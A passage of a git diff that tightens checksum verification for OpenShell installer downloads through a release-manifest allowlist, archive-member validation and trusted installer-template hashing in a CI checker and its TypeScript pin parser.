diff --git a/.github/workflows/installer-hash-check.yaml b/.github/workflows/installer-hash-check.yaml index 4e137638c7b..ef8d02ba2bb 100644 --- a/.github/workflows/installer-hash-check.yaml +++ b/.github/workflows/installer-hash-check.yaml @@ -2,10 +2,12 @@ # SPDX-License-Identifier: Apache-2.0 # # Verifies pinned installer SHA-256 hashes still match upstream scripts. -# Checked: OpenShell v0.0.72 installer and Brev release assets. +# Checked: allowlisted OpenShell installer and Brev release assets. # Reports the required network-backed drift check on every PR, every push to # main, and weekly. Pull requests execute checker code from their base commit; # the immutable bootstrap is used only for the PR that first adds that action. +# A new release-manifest allowlist entry must therefore land on main in a +# prerequisite PR before a later PR changes runtime selectors to that release. name: Security / Installer Hash Check diff --git a/scripts/brev-launchable-ci-cpu.sh b/scripts/brev-launchable-ci-cpu.sh index 67434e478eb..ef089135e7e 100755 --- a/scripts/brev-launchable-ci-cpu.sh +++ b/scripts/brev-launchable-ci-cpu.sh @@ -28,7 +28,7 @@ # bash scripts/brev-launchable-ci-cpu.sh --print-openshell-version # resolve only # # Environment overrides: -# OPENSHELL_VERSION — OpenShell CLI release tag (default: v0.0.72) +# OPENSHELL_VERSION — OpenShell CLI release tag (default: stable selector below) # NEMOCLAW_OPENSHELL_CHANNEL — Release channel (stable/dev/auto) # NEMOCLAW_ACCEPT_DEV_UNVERIFIED_INSTALL — Required opt-in for the unverified dev channel # NEMOCLAW_REF — NemoClaw git ref to clone (default: main) @@ -165,6 +165,18 @@ openshell_checksum_line() { awk -v asset="$asset" '$2 == asset { print; found=1; exit } END { if (!found) exit 1 }' "$checksum_file" } +validate_openshell_archive() { + local archive="$1" expected_member="$2" members verbose + members="$(LC_ALL=C tar -tzf "$archive")" \ + || fail "Unable to list OpenShell archive $(basename "$archive")" + [ "$members" = "$expected_member" ] \ + || fail "Unsafe OpenShell archive $(basename "$archive"): expected exactly one member named $expected_member" + verbose="$(LC_ALL=C tar -tvzf "$archive")" \ + || fail "Unable to inspect OpenShell archive $(basename "$archive")" + [[ "$verbose" != *$'\n'* && "${verbose:0:1}" = "-" && "${verbose##* }" = "$expected_member" ]] \ + || fail "Unsafe OpenShell archive $(basename "$archive"): $expected_member must be one regular file" +} + verify_openshell_cli_asset() { local tmpdir="$1" asset="$2" checksum_file="openshell-checksums-sha256.txt" local checksum_line expected_sha release_sha @@ -201,6 +213,7 @@ install_openshell_cli_release() { if [[ "$OPENSHELL_VERSION" != "dev" ]]; then verify_openshell_cli_asset "$tmpdir" "$asset" fi + validate_openshell_archive "$tmpdir/$asset" openshell tar xzf "$tmpdir/$asset" -C "$tmpdir" sudo install -m 755 "$tmpdir/openshell" /usr/local/bin/openshell rm -rf "$tmpdir" diff --git a/scripts/check-installer-hash.sh b/scripts/check-installer-hash.sh index b1c6ab7d0e1..0043d170619 100755 --- a/scripts/check-installer-hash.sh +++ b/scripts/check-installer-hash.sh @@ -6,8 +6,8 @@ # still match the immutable upstream checksum manifests. # # Checked artifacts: -# 1. OpenShell v0.0.72 — scripts/install-openshell.sh release-asset table -# 2. Brev OpenShell CLI — scripts/brev-launchable-ci-cpu.sh release-asset table +# 1. OpenShell archives — scripts/install-openshell.sh release-asset table +# 2. Brev OpenShell CLI — scripts/brev-launchable-ci-cpu.sh release-asset table # # Usage: # scripts/check-installer-hash.sh # exit 0 if current, 1 if stale @@ -23,7 +23,17 @@ else REPO_ROOT="$(cd "$(dirname "$0")/.." && pwd)" fi CHECKER_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" -OPENSHELL_RELEASE_VERSION="0.0.72" + +# Trust-anchor rollout is intentionally two-step. First land a prerequisite PR +# that adds the reviewed release-manifest digests here while runtime selectors +# still name the current release. Only after that commit is on the target branch +# may a separate pin PR select the new release. Pull-request verification runs +# this file from the base SHA, so a pin PR can never authorize its own digests. +readonly -a OPENSHELL_RELEASE_MANIFEST_ALLOWLIST=( + "0.0.72|openshell-checksums-sha256.txt|0049181983eaf925ef9510382f75348229a9511d02e27196107782e7c3259ae1" + "0.0.72|openshell-gateway-checksums-sha256.txt|3c454dc15154b8c700ec820628559ea8964c6e552d9c5f8af78b6ee19cf34547" + "0.0.72|openshell-sandbox-checksums-sha256.txt|d38507501338576437cf3e554df71fefe927dc0d72758f88e260069527ed9ccc" +) case "${1:-}" in "") ;; @@ -57,7 +67,7 @@ sha256_file() { } # invalidState: CI reports trusted OpenShell pins without comparing every -# consumed archive with the immutable v0.0.72 checksum release assets. +# consumed archive with the selected immutable checksum release assets. # sourceBoundary: NVIDIA/OpenShell owns the release assets and their published # digests; NemoClaw owns this independent verification of its local pin table. # In pull-request CI, this checker and its pin parser execute only from the @@ -72,47 +82,20 @@ sha256_file() { check_openshell_release_assets() { local installer="${REPO_ROOT}/scripts/install-openshell.sh" local brev_installer="${REPO_ROOT}/scripts/brev-launchable-ci-cpu.sh" - local release_base="https://github.com/NVIDIA/OpenShell/releases/download/v${OPENSHELL_RELEASE_VERSION}" - local workspace manifests spec manifest expected actual source asset pinned upstream matches - local pin_records parser_error parser_errors + local release_base workspace manifests spec manifest expected actual source asset pinned upstream + local matches required_manifest required_matches + local pin_records parser_error parser_errors parsed_version release_version="" record_extra + local allowlist_entry allowlist_version allowlist_extra local count=0 brev_count=0 published_count=0 failures=0 - local -a manifest_specs=( - "openshell-checksums-sha256.txt:0049181983eaf925ef9510382f75348229a9511d02e27196107782e7c3259ae1" - "openshell-gateway-checksums-sha256.txt:3c454dc15154b8c700ec820628559ea8964c6e552d9c5f8af78b6ee19cf34547" - "openshell-sandbox-checksums-sha256.txt:d38507501338576437cf3e554df71fefe927dc0d72758f88e260069527ed9ccc" - ) + local -a manifest_specs=() workspace=$(mktemp -d) manifests="${workspace}/published-sha256.txt" : >"$manifests" trap 'rm -rf "$workspace"' RETURN - echo "Checking OpenShell v${OPENSHELL_RELEASE_VERSION} release assets..." - for spec in "${manifest_specs[@]}"; do - manifest="${spec%%:*}" - expected="${spec#*:}" - if ! fetch_file "${release_base}/${manifest}" "${workspace}/${manifest}"; then - echo " STALE: unable to download ${manifest}." - failures=$((failures + 1)) - continue - fi - if ! actual=$(sha256_file "${workspace}/${manifest}"); then - echo " STALE: unable to hash ${manifest}." - failures=$((failures + 1)) - continue - fi - if [[ "$actual" != "$expected" ]]; then - echo " STALE: ${manifest} digest does not match the pinned v${OPENSHELL_RELEASE_VERSION} release asset." - echo " pinned: ${expected}" - echo " upstream: ${actual}" - failures=$((failures + 1)) - continue - fi - echo " OK: ${manifest} (${actual})" - cat "${workspace}/${manifest}" >>"$manifests" - done - # invalidState: target-controlled shell formatting hides, duplicates, or - # changes a pin while the trusted release-asset check still reports success. + # mixes a release version while the trusted release-asset check still reports + # success. # sourceBoundary: this parser executes beside the checker only from the # base-trusted checkout or immutable bootstrap, never from the PR head. It # defines the accepted static shell subset; PR-head installers are input data @@ -126,7 +109,7 @@ check_openshell_release_assets() { parser_errors="${workspace}/pin-parser-errors.txt" if ! pin_records=$(node --experimental-strip-types \ "${CHECKER_ROOT}/checks/extract-installer-pins.mts" \ - --release-version "$OPENSHELL_RELEASE_VERSION" \ + --blueprint "${REPO_ROOT}/nemoclaw-blueprint/blueprint.yaml" \ --installer "$installer" \ --brev-installer "$brev_installer" \ --format tsv 2>"$parser_errors"); then @@ -134,39 +117,123 @@ check_openshell_release_assets() { while IFS= read -r parser_error; do echo " ${parser_error}" done <"$parser_errors" - failures=$((failures + 1)) - else - while IFS=$'\t' read -r source asset pinned; do - if [[ "$source" == "installer" ]]; then - count=$((count + 1)) - else - brev_count=$((brev_count + 1)) - fi - matches=$(awk -v asset="$asset" '$2 == asset { count++ } END { print count + 0 }' "$manifests") - upstream=$(awk -v asset="$asset" '$2 == asset { print $1; exit }' "$manifests") - if [[ "$matches" -eq 1 && "$pinned" == "$upstream" ]]; then - published_count=$((published_count + 1)) - echo " OK: ${source} ${asset} (${pinned})" - else - echo " STALE: ${source} ${asset} does not match exactly one v${OPENSHELL_RELEASE_VERSION} checksum entry." - echo " pinned: ${pinned}" - echo " upstream: ${upstream:-missing}" - echo " matches: ${matches}" - failures=$((failures + 1)) - fi - done <<<"$pin_records" + return 1 fi + while IFS=$'\t' read -r parsed_version source asset pinned record_extra; do + if [[ ! "$parsed_version" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ || -z "$source" || -z "$asset" || -z "$pinned" || -n "$record_extra" ]]; then + echo " STALE: trusted parser returned an invalid installer pin record." + return 1 + fi + if [[ -z "$release_version" ]]; then + release_version="$parsed_version" + elif [[ "$parsed_version" != "$release_version" ]]; then + echo " STALE: trusted parser returned multiple OpenShell release versions." + return 1 + fi + case "$source" in + installer) count=$((count + 1)) ;; + "Brev launchable") brev_count=$((brev_count + 1)) ;; + *) + echo " STALE: trusted parser returned an unknown pin source." + return 1 + ;; + esac + done <<<"$pin_records" + if [[ "$count" -ne 8 ]]; then - echo " STALE: expected 8 pinned OpenShell v${OPENSHELL_RELEASE_VERSION} assets, found ${count}." + echo " STALE: expected 8 pinned OpenShell v${release_version:-unknown} assets, found ${count}." failures=$((failures + 1)) fi if [[ "$brev_count" -ne 2 ]]; then - echo " STALE: expected 2 pinned Brev OpenShell v${OPENSHELL_RELEASE_VERSION} CLI assets, found ${brev_count}." + echo " STALE: expected 2 pinned Brev OpenShell v${release_version:-unknown} CLI assets, found ${brev_count}." failures=$((failures + 1)) fi + if [[ "$failures" -ne 0 ]]; then + return "$failures" + fi + + for allowlist_entry in "${OPENSHELL_RELEASE_MANIFEST_ALLOWLIST[@]}"; do + IFS='|' read -r allowlist_version manifest expected allowlist_extra <<<"$allowlist_entry" + if [[ ! "$allowlist_version" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ || ! "$expected" =~ ^[a-f0-9]{64}$ || -z "$manifest" || -n "$allowlist_extra" ]]; then + echo " STALE: trusted OpenShell release-manifest allowlist is invalid." + return 1 + fi + if [[ "$allowlist_version" == "$release_version" ]]; then + manifest_specs+=("${manifest}:${expected}") + fi + done + + if [[ "${#manifest_specs[@]}" -eq 0 ]]; then + echo " STALE: OpenShell v${release_version} is not in the trusted release-manifest allowlist." + return 1 + fi + if [[ "${#manifest_specs[@]}" -ne 3 ]]; then + echo " STALE: OpenShell v${release_version} does not have exactly three trusted release-manifest digests." + return 1 + fi + for required_manifest in \ + openshell-checksums-sha256.txt \ + openshell-gateway-checksums-sha256.txt \ + openshell-sandbox-checksums-sha256.txt; do + required_matches=0 + for spec in "${manifest_specs[@]}"; do + if [[ "${spec%%:*}" == "$required_manifest" ]]; then + required_matches=$((required_matches + 1)) + fi + done + if [[ "$required_matches" -ne 1 ]]; then + echo " STALE: OpenShell v${release_version} does not have exactly one trusted ${required_manifest} digest." + failures=$((failures + 1)) + fi + done + if [[ "$failures" -ne 0 ]]; then + return "$failures" + fi + + release_base="https://github.com/NVIDIA/OpenShell/releases/download/v${release_version}" + echo "Checking OpenShell v${release_version} release assets..." + for spec in "${manifest_specs[@]}"; do + manifest="${spec%%:*}" + expected="${spec#*:}" + if ! fetch_file "${release_base}/${manifest}" "${workspace}/${manifest}"; then + echo " STALE: unable to download ${manifest}." + failures=$((failures + 1)) + continue + fi + if ! actual=$(sha256_file "${workspace}/${manifest}"); then + echo " STALE: unable to hash ${manifest}." + failures=$((failures + 1)) + continue + fi + if [[ "$actual" != "$expected" ]]; then + echo " STALE: ${manifest} digest does not match the pinned v${release_version} release asset." + echo " pinned: ${expected}" + echo " upstream: ${actual}" + failures=$((failures + 1)) + continue + fi + echo " OK: ${manifest} (${actual})" + cat "${workspace}/${manifest}" >>"$manifests" + done + + while IFS=$'\t' read -r parsed_version source asset pinned record_extra; do + matches=$(awk -v asset="$asset" '$2 == asset { count++ } END { print count + 0 }' "$manifests") + upstream=$(awk -v asset="$asset" '$2 == asset { print $1; exit }' "$manifests") + if [[ "$matches" -eq 1 && "$pinned" == "$upstream" ]]; then + published_count=$((published_count + 1)) + echo " OK: ${source} ${asset} (${pinned})" + else + echo " STALE: ${source} ${asset} does not match exactly one v${release_version} checksum entry." + echo " pinned: ${pinned}" + echo " upstream: ${upstream:-missing}" + echo " matches: ${matches}" + failures=$((failures + 1)) + fi + done <<<"$pin_records" + if [[ "$published_count" -ne 10 ]]; then - echo " STALE: expected all 10 pinned asset references in the v${OPENSHELL_RELEASE_VERSION} checksum manifests, matched ${published_count}." + echo " STALE: expected all 10 pinned asset references in the v${release_version} checksum manifests, matched ${published_count}." failures=$((failures + 1)) fi return "$failures" diff --git a/scripts/checks/dependency-pins.ts b/scripts/checks/dependency-pins.ts index 510755b0ac8..4e44a700203 100644 --- a/scripts/checks/dependency-pins.ts +++ b/scripts/checks/dependency-pins.ts @@ -31,6 +31,11 @@ type DependencyPins = Readonly<{ const REPO_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), "../.."); const OPENCLAW_VERSION_ARG_SUFFIX_RE = /[.-]/g; const NUMERIC_VERSION_RE = /^[0-9]+\.[0-9]+\.[0-9]+$/; +const OPENSHELL_RELEASE_MANIFESTS = [ + "openshell-checksums-sha256.txt", + "openshell-gateway-checksums-sha256.txt", + "openshell-sandbox-checksums-sha256.txt", +] as const; function isRecord(value: unknown): value is Record { return typeof value === "object" && value !== null && !Array.isArray(value); @@ -263,6 +268,29 @@ function requireVersionReference( } } +function requireOpenShellReleaseManifestAllowlist( + source: string, + expectedVersion: string, + failures: string[], +): void { + const entries = [ + ...source.matchAll(/^\s*"([0-9]+\.[0-9]+\.[0-9]+)\|([^|"\s]+)\|([a-f0-9]{64})"\s*$/gm), + ] + .filter((match) => match[1] === expectedVersion) + .map((match) => match[2]) + .filter((manifest): manifest is string => manifest !== undefined); + const complete = + entries.length === OPENSHELL_RELEASE_MANIFESTS.length && + OPENSHELL_RELEASE_MANIFESTS.every( + (manifest) => entries.filter((entry) => entry === manifest).length === 1, + ); + if (!complete) { + failures.push( + `OpenShell release-manifest allowlist: expected one complete entry for ${expectedVersion}`, + ); + } +} + function verifyOpenShellPins( pins: OpenShellPins, sources: { @@ -309,17 +337,7 @@ function verifyOpenShellPins( "OpenShell installer PIN_VERSION", failures, ); - compare( - extractSingle( - sources.installerHashCheck, - /^OPENSHELL_RELEASE_VERSION="([^"]+)"\s*$/gm, - "OpenShell installer hash release", - failures, - ), - pins.maxVersion, - "OpenShell installer hash release", - failures, - ); + requireOpenShellReleaseManifestAllowlist(sources.installerHashCheck, pins.maxVersion, failures); compare( extractSingle( sources.openshellVersion, diff --git a/scripts/checks/extract-installer-pins.mts b/scripts/checks/extract-installer-pins.mts index e726b085690..ce70f72693f 100644 --- a/scripts/checks/extract-installer-pins.mts +++ b/scripts/checks/extract-installer-pins.mts @@ -1,39 +1,65 @@ // SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. // SPDX-License-Identifier: Apache-2.0 +import { createHash } from "node:crypto"; import fs from "node:fs"; import path from "node:path"; import { fileURLToPath } from "node:url"; type Token = { + end: number; kind: "newline" | "operator" | "word"; + start: number; value: string; }; export type InstallerPin = { asset: string; + releaseVersion: string; sha256: string; source: string; }; type ExtractOptions = { functionName: string; - releaseVersion: string; sourceLabel: string; }; type CliOptions = { + blueprint: string; brevInstaller: string; format: "json" | "tsv"; installer: string; - releaseVersion: string; }; -const FUNCTION_LOCAL_PATTERN = /^local release_tag\s*=\s*\$1 asset\s*=\s*\$2$/u; +const FUNCTION_LOCAL_SOURCE_PATTERN = + /^local[ \t]+release_tag[ \t]*=[ \t]*(?:"\$1"|\$1)[ \t]+asset[ \t]*=[ \t]*(?:"\$2"|\$2)$/u; const LITERAL_PIN_PATTERN = /^v([0-9]+\.[0-9]+\.[0-9]+):([A-Za-z0-9._+-]+)$/u; const SHA256_PATTERN = /^[a-f0-9]{64}$/u; -const FUNCTION_SELECTOR_VALUES = new Set(["${release_tag}:${asset}", "$release_tag:$asset"]); const MAX_INSTALLER_INPUT_BYTES = 1024 * 1024; +// These hashes freeze the complete reviewed scripts after normalizing only the +// strictly parsed pin-table function and stable release selector. Update them +// only in a prerequisite trust-anchor PR that keeps the currently selected +// release; the later pin PR may then change release data without authorizing +// any operational installer change. A mismatch reports the candidate hash. +const TRUSTED_INSTALLER_TEMPLATE_SHA256 = + "7858227dbcb727613ed9fa13a1dd993a04b74d1341fca5087bf38e868588ef5d"; +const TRUSTED_BREV_TEMPLATE_SHA256 = + "c0a4ddf25a02a9fe02b2df53a60942ea887610f04d4ce16a121b6e79a5aeff1a"; +const EXPECTED_INSTALLER_ASSETS = [ + "openshell-x86_64-unknown-linux-musl.tar.gz", + "openshell-aarch64-unknown-linux-musl.tar.gz", + "openshell-aarch64-apple-darwin.tar.gz", + "openshell-gateway-x86_64-unknown-linux-gnu.tar.gz", + "openshell-gateway-aarch64-unknown-linux-gnu.tar.gz", + "openshell-gateway-aarch64-apple-darwin.tar.gz", + "openshell-sandbox-x86_64-unknown-linux-gnu.tar.gz", + "openshell-sandbox-aarch64-unknown-linux-gnu.tar.gz", +] as const; +const EXPECTED_BREV_ASSETS = [ + "openshell-x86_64-unknown-linux-musl.tar.gz", + "openshell-aarch64-unknown-linux-musl.tar.gz", +] as const; function fail(message: string): never { throw new Error(`Installer pin extraction failed: ${message}`); @@ -106,6 +132,102 @@ function readInstallerInput(inputPath: string, sourceLabel: string): string { } } +// invalidState: base-trusted CI accepts the right number of valid published +// hashes while a pull request swaps in a different official release asset. +// sourceBoundary: these expected asset names live only in base-trusted parser +// code; the PR-head installer and Brev script remain inert input data. +// whyNotSourceFix: OpenShell can attest what it publishes but cannot determine +// which exact downstream assets NemoClaw consumes. +// regressionTest: test/installer-hash-check.test.ts substitutes official but +// unexpected assets while keeping valid upstream digests and record counts. +// removalCondition: remove this set check only when one base-trusted canonical +// dependency manifest directly drives both installer consumers. +function assertExactAssetSet( + pins: InstallerPin[], + expectedAssets: readonly string[], + label: string, +): void { + const actual = [...new Set(pins.map((pin) => pin.asset))].sort(); + const expected = [...expectedAssets].sort(); + const missing = expected.filter((asset) => !actual.includes(asset)); + const unexpected = actual.filter((asset) => !expected.includes(asset)); + if (missing.length > 0 || unexpected.length > 0) { + fail( + `${label} must contain the exact consumed asset set; ` + + `missing=[${missing.join(", ")}], unexpected=[${unexpected.join(", ")}]`, + ); + } +} + +// invalidState: the blueprint and stable runtime selectors request a newer +// OpenShell release while both embedded hash tables still name an older, +// independently valid release, so separate dependency and hash checks pass but +// installation cannot find a hash for the selected version. +// sourceBoundary: this base-trusted parser reads the PR blueprint and installer +// sources only as inert, bounded files and binds every stable selector to the +// single release extracted from the static hash tables. +// whyNotSourceFix: OpenShell can attest its release but cannot keep NemoClaw's +// blueprint, installer selector, Brev selector, and embedded tables coherent. +// regressionTest: test/installer-hash-check.test.ts moves all runtime consumers +// to 0.0.82 while leaving both valid pin tables at 0.0.72 and requires failure. +// removalCondition: remove these comparisons only when one base-trusted, +// machine-readable pin manifest directly drives every runtime consumer. +function extractSingleVersion( + source: string, + pattern: RegExp, + label: string, + captureIndex = 1, +): string { + const flags = pattern.flags.includes("g") ? pattern.flags : `${pattern.flags}g`; + const matches = [...source.matchAll(new RegExp(pattern.source, flags))]; + const version = matches[0]?.[captureIndex]; + if (matches.length !== 1 || !version) { + fail(`${label} must contain exactly one literal X.Y.Z version`); + } + return version; +} + +function extractBlueprintMaxVersion(source: string): string { + return extractSingleVersion( + source, + /^max_openshell_version:\s*(["'])([0-9]+\.[0-9]+\.[0-9]+)\1\s*$/gm, + "blueprint max_openshell_version", + 2, + ); +} + +function extractInstallerRuntimeVersion(source: string): string { + const maxVersion = extractSingleVersion( + source, + /^MAX_VERSION="([0-9]+\.[0-9]+\.[0-9]+)"\s*$/gm, + "installer MAX_VERSION", + ); + const pinVersionAssignments = [...source.matchAll(/^PIN_VERSION=(.*)\s*$/gm)]; + if ( + pinVersionAssignments.length !== 1 || + pinVersionAssignments[0]?.[1]?.trim() !== '"$MAX_VERSION"' + ) { + fail('installer PIN_VERSION must be exactly "$MAX_VERSION"'); + } + return maxVersion; +} + +function extractInstallerMinimumVersion(source: string): string { + return extractSingleVersion( + source, + /^MIN_VERSION="([0-9]+\.[0-9]+\.[0-9]+)"\s*$/gm, + "installer MIN_VERSION", + ); +} + +function extractBrevStableRuntimeVersion(source: string): string { + return extractSingleVersion( + source, + /^\s*stable\s*\|\s*auto\)\s*OPENSHELL_VERSION="v([0-9]+\.[0-9]+\.[0-9]+)"\s*;;\s*$/gm, + "Brev stable OpenShell default", + ); +} + function isOperatorStart(character: string): boolean { return "(){};".includes(character); } @@ -127,7 +249,7 @@ function tokenizeShellSubset(source: string): Token[] { continue; } if (character === "\n") { - tokens.push({ kind: "newline", value: "\n" }); + tokens.push({ end: index + 1, kind: "newline", start: index, value: "\n" }); index += 1; continue; } @@ -138,16 +260,17 @@ function tokenizeShellSubset(source: string): Token[] { continue; } if (character === ";" && next === ";") { - tokens.push({ kind: "operator", value: ";;" }); + tokens.push({ end: index + 2, kind: "operator", start: index, value: ";;" }); index += 2; continue; } if (isOperatorStart(character)) { - tokens.push({ kind: "operator", value: character }); + tokens.push({ end: index + 1, kind: "operator", start: index, value: character }); index += 1; continue; } + const wordStart = index; let value = ""; while (index < source.length) { const wordCharacter = source[index] ?? ""; @@ -218,7 +341,7 @@ function tokenizeShellSubset(source: string): Token[] { if (!value) { fail(`unsupported shell token near ${JSON.stringify(source.slice(index, index + 16))}`); } - tokens.push({ kind: "word", value }); + tokens.push({ end: index, kind: "word", start: wordStart, value }); } return tokens; @@ -228,6 +351,11 @@ function isToken(token: Token | undefined, kind: Token["kind"], value?: string): return token?.kind === kind && (value === undefined || token.value === value); } +function rawToken(source: string, token: Token | undefined): string { + if (!token) fail("required shell token is unavailable"); + return source.slice(token.start, token.end); +} + function functionBodyRanges(tokens: Token[], functionName: string): Array<[number, number]> { const ranges: Array<[number, number]> = []; for (let index = 0; index < tokens.length - 3; index += 1) { @@ -266,6 +394,123 @@ function functionBodyRanges(tokens: Token[], functionName: string): Array<[numbe return ranges; } +type SourceEdit = { + end: number; + replacement: string; + start: number; +}; + +function functionDefinitionSourceRanges(source: string, functionName: string): SourceEdit[] { + const tokens = tokenizeShellSubset(source); + const ranges: SourceEdit[] = []; + for (let index = 0; index < tokens.length - 3; index += 1) { + const definitionStart = index; + const nameIndex = isToken(tokens[index], "word", "function") ? index + 1 : index; + if (!isToken(tokens[nameIndex], "word", functionName)) continue; + let cursor = nameIndex + 1; + if (isToken(tokens[cursor], "operator", "(")) { + if (!isToken(tokens[cursor + 1], "operator", ")")) continue; + cursor += 2; + } + if (!isToken(tokens[cursor], "operator", "{")) continue; + + let depth = 1; + for (let bodyCursor = cursor + 1; bodyCursor < tokens.length; bodyCursor += 1) { + if (isToken(tokens[bodyCursor], "operator", "{")) { + depth += 1; + } else if (isToken(tokens[bodyCursor], "operator", "}")) { + depth -= 1; + if (depth === 0) { + const start = tokens[definitionStart]?.start; + const end = tokens[bodyCursor]?.end; + if (start === undefined || end === undefined) { + fail(`${functionName} source range is unavailable`); + } + ranges.push({ end, replacement: `<${functionName}:trusted-release-data>`, start }); + index = bodyCursor; + break; + } + } + } + if (depth !== 0) fail(`${functionName} has an unterminated function body`); + } + return ranges; +} + +function selectorVersionEdit(source: string, pattern: RegExp, label: string): SourceEdit { + const flags = pattern.flags.includes("g") ? pattern.flags : `${pattern.flags}g`; + const matches = [...source.matchAll(new RegExp(pattern.source, flags))]; + const match = matches[0]; + const version = match?.[1]; + if (matches.length !== 1 || !match || !version || match.index === undefined) { + fail(`${label} must contain exactly one permitted release selector literal`); + } + const relativeStart = match[0].indexOf(version); + if (relativeStart === -1) fail(`${label} release selector range is unavailable`); + const start = match.index + relativeStart; + return { end: start + version.length, replacement: "", start }; +} + +function normalizeTrustedInstallerTemplate( + source: string, + functionName: string, + selectorPatterns: readonly RegExp[], + label: string, +): string { + const functionRanges = functionDefinitionSourceRanges(source, functionName); + if (functionRanges.length !== 1) { + fail(`${label} must contain exactly one ${functionName} release-data function`); + } + const edits = [ + functionRanges[0] ?? fail(`${label} release-data range is unavailable`), + ...selectorPatterns.map((pattern, index) => + selectorVersionEdit(source, pattern, `${label} selector ${index + 1}`), + ), + ].sort((left, right) => right.start - left.start); + for (let index = 0; index < edits.length - 1; index += 1) { + const current = edits[index]; + const next = edits[index + 1]; + if (current && next && next.end > current.start) { + fail(`${label} normalized release-data regions overlap`); + } + } + return edits.reduce( + (normalized, edit) => + `${normalized.slice(0, edit.start)}${edit.replacement}${normalized.slice(edit.end)}`, + source, + ); +} + +// invalidState: a mutable PR leaves a valid-looking pin table in inert text but +// changes which release, URL, checksum verifier, archive validator, or install +// path actually executes. sourceBoundary: the expected hashes and normalizer +// execute from the base-trusted checkout; PR installer files are inert input. +// regressionTest: test/installer-hash-check.test.ts mutates comments, control +// flow, indirect selectors, SHA commands, and alternate download/extract paths. +// removalCondition: remove this template lock only when a base-trusted, +// machine-readable manifest directly drives every installer operation. +function assertTrustedTemplate( + source: string, + functionName: string, + selectorPatterns: readonly RegExp[], + expectedSha256: string, + label: string, +): void { + const normalized = normalizeTrustedInstallerTemplate( + source, + functionName, + selectorPatterns, + label, + ); + const actualSha256 = createHash("sha256").update(normalized).digest("hex"); + if (actualSha256 !== expectedSha256) { + fail( + `${label} operational template is not base-trusted; ` + + `expected_sha256=${expectedSha256}, actual_sha256=${actualSha256}`, + ); + } +} + function skipSeparators(tokens: Token[], start: number): number { let cursor = start; while (isToken(tokens[cursor], "newline") || isToken(tokens[cursor], "operator", ";")) { @@ -289,32 +534,67 @@ function commandBeforeSeparator( return { command: tokens.slice(start, cursor), next: skipSeparators(tokens, cursor) }; } -function staticPinFromArm(pattern: string, commandTokens: Token[]): InstallerPin | undefined { +function staticPinFromArm( + source: string, + patternToken: Token, + commandTokens: Token[], +): InstallerPin | undefined { + const pattern = patternToken.value; const match = LITERAL_PIN_PATTERN.exec(pattern); + const rawPattern = rawToken(source, patternToken); if (!match) { if (pattern !== "*") { fail(`unsupported case pattern ${JSON.stringify(pattern)}`); } - const wildcardCommand = commandTokens - .filter((token) => token.kind !== "newline" && token.value !== ";") - .map((token) => token.value); + if (rawPattern !== "*") { + fail("the fallback case pattern must be one unquoted wildcard"); + } + const wildcardTokens = commandTokens.filter( + (token) => token.kind !== "newline" && token.value !== ";", + ); + const wildcardCommand = wildcardTokens.map((token) => token.value); if (wildcardCommand.join(" ") !== "return 1") { fail("the fallback case arm must contain only 'return 1'"); } + if ( + rawToken(source, wildcardTokens[0]) !== "return" || + rawToken(source, wildcardTokens[1]) !== "1" + ) { + fail("the fallback case arm must use literal 'return 1'"); + } return undefined; } - const command = commandTokens - .filter((token) => token.kind !== "newline" && token.value !== ";") - .map((token) => token.value); + if (![pattern, `'${pattern}'`, `"${pattern}"`].includes(rawPattern)) { + fail(`case arm ${pattern} must be one literal release-and-asset pattern`); + } + + const staticCommandTokens = commandTokens.filter( + (token) => token.kind !== "newline" && token.value !== ";", + ); + const command = staticCommandTokens.map((token) => token.value); if (command.length !== 3 || command[0] !== "printf" || command[1] !== "%s\\n") { fail(`case arm ${pattern} must contain exactly one static printf '%s\\n' SHA-256 command`); } + if ( + rawToken(source, staticCommandTokens[0]) !== "printf" || + !["'%s\\n'", '"%s\\n"'].includes(rawToken(source, staticCommandTokens[1])) + ) { + fail(`case arm ${pattern} must use a literal printf '%s\\n' command`); + } const sha256 = command[2] ?? ""; if (!SHA256_PATTERN.test(sha256)) { fail(`case arm ${pattern} does not contain one literal lowercase SHA-256 digest`); } - return { asset: match[2] ?? "", sha256, source: "" }; + if (![sha256, `'${sha256}'`, `"${sha256}"`].includes(rawToken(source, staticCommandTokens[2]))) { + fail(`case arm ${pattern} must print one literal lowercase SHA-256 digest`); + } + return { + asset: match[2] ?? "", + releaseVersion: match[1] ?? "", + sha256, + source: "", + }; } // invalidState: trusted CI accepts a pin table whose shell formatting hides, @@ -334,25 +614,55 @@ export function extractInstallerPins(source: string, options: ExtractOptions): I if (ranges.length !== 1) { fail(`expected exactly one ${options.functionName} definition, found ${ranges.length}`); } + const headerIndex = tokens.findIndex( + (token, index) => + token.kind === "word" && + token.value === options.functionName && + ((isToken(tokens[index + 1], "operator", "(") && + isToken(tokens[index + 2], "operator", ")") && + isToken(tokens[index + 3], "operator", "{")) || + isToken(tokens[index + 1], "operator", "{")), + ); + if (headerIndex === -1 || rawToken(source, tokens[headerIndex]) !== options.functionName) { + fail(`${options.functionName} must use one literal unquoted function name`); + } + if ( + isToken(tokens[headerIndex - 1], "word", "function") && + rawToken(source, tokens[headerIndex - 1]) !== "function" + ) { + fail(`${options.functionName} must use a literal function keyword`); + } const [bodyStart, bodyEnd] = ranges[0] ?? fail(`missing ${options.functionName} body`); const body = tokens.slice(bodyStart, bodyEnd); let cursor = skipSeparators(body, 0); const local = commandBeforeSeparator(body, cursor); - if (!FUNCTION_LOCAL_PATTERN.test(local.command.map((token) => token.value).join(" "))) { + const localStart = local.command[0]; + const localEnd = local.command.at(-1); + const localSource = localStart && localEnd ? source.slice(localStart.start, localEnd.end) : ""; + if (!FUNCTION_LOCAL_SOURCE_PATTERN.test(localSource)) { fail(`${options.functionName} must start with local release_tag and asset inputs`); } cursor = local.next; if (!isToken(body[cursor], "word", "case")) { fail(`${options.functionName} must contain one static case table`); } + if (rawToken(source, body[cursor]) !== "case") { + fail(`${options.functionName} must use a literal case keyword`); + } const selector = body[cursor + 1]; - if (!isToken(selector, "word") || !FUNCTION_SELECTOR_VALUES.has(selector.value)) { + if ( + !isToken(selector, "word", "${release_tag}:${asset}") || + rawToken(source, selector) !== '"${release_tag}:${asset}"' + ) { fail(`${options.functionName} must select on release_tag and asset`); } if (!isToken(body[cursor 